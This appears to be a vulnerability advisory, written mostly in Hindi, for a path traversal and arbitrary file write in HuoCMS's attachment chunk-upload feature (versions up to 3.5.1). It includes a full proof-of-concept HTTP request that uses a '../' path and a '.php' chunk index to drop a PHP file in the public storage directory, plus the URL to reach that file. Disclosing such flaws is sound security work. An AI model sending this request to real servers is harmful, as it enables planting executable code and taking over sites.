
Vulnerability Description
yggcwhat
Huocms
https://gitee.com/digital-flag/huocms
Upload.php
HuoCMS - <=V3.5.1
AttachmentController.php (app -> controller -> backend के अंतर्गत स्थित) की sliceUploadAndSave विधि में, resource_type पैरामीटर को अनुमत फ़ाइल एक्सटेंशनों की एक व्हाइटलिस्ट (जैसे, txt, png, आदि) के विरुद्ध मान्य किया जाता है। इसके बाद, विधि Upload.php (app -> service -> upload के अंतर्गत) से tmpMove को कॉल करती है।
tmpMove विधि पहले एक फ़ाइल बनाती है। हालाँकि, $filename पैरामीटर (जो resource_temp_path इनपुट पैरामीटर द्वारा नियंत्रित है, जो उपयोगकर्ता-नियंत्रणीय है) का उपयोग निर्देशिकाओं को पार करने (जैसे, ../ का उपयोग करके) और फ़ोल्डर बनाने के लिए किया जा सकता है। फिर विधि एक मूव ऑपरेशन करती है, फ़ाइल को बनाई गई निर्देशिका में रखती है। अंतिम फ़ाइल नाम एक अंडरस्कोर और $pos प्रत्यय जोड़कर उत्पन्न होता है, जहाँ $pos को कॉल के दौरान पारित chunk_index पैरामीटर के माध्यम से नियंत्रित किया जाता है (वास्तविक पैरामीटर पासिंग के विवरण के लिए देखें)।
यह एक कमजोरी पैदा करता है जहाँ एक हमलावर resource_temp_path और chunk_index में हेरफेर करके नियंत्रित फ़ाइल नामों के साथ मनमाने स्थानों पर फ़ाइलें लिख सकता है।
Details:
app >controller >backend > AttachmentController.php:sliceUploadAndSave

app >service >upload > Upload.php:tmpMove

यह कमजोरी एक बैकएंड समस्या है जिसके लिए बैकएंड में लॉग इन करने और टोकन के साथ कॉल करने की आवश्यकता होती है। कृपया स्वयं सेटअप और लॉगिन करें।
POC:
POST /attachment/sliceUploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: token
Content-Type: multipart/form-data; boundary=----geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Length: 990
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_chunk"; filename="blob"
Content-Type: application/octet-stream
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_total"
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_index"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_basename"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_path"
../../../public/storage/image/20250415/
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_type"
txt
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_name"
11.png
------geckoformboundary13d3934e0299a09e8748d146bfb9d483--

Access URL:
http://127.0.0.1/storage/image/20250415/%5f%5f.php

http://huocms.com https://github.com/yggcwhat/CVE-2025-46078/edit/main/README.md https://www.huocms.com/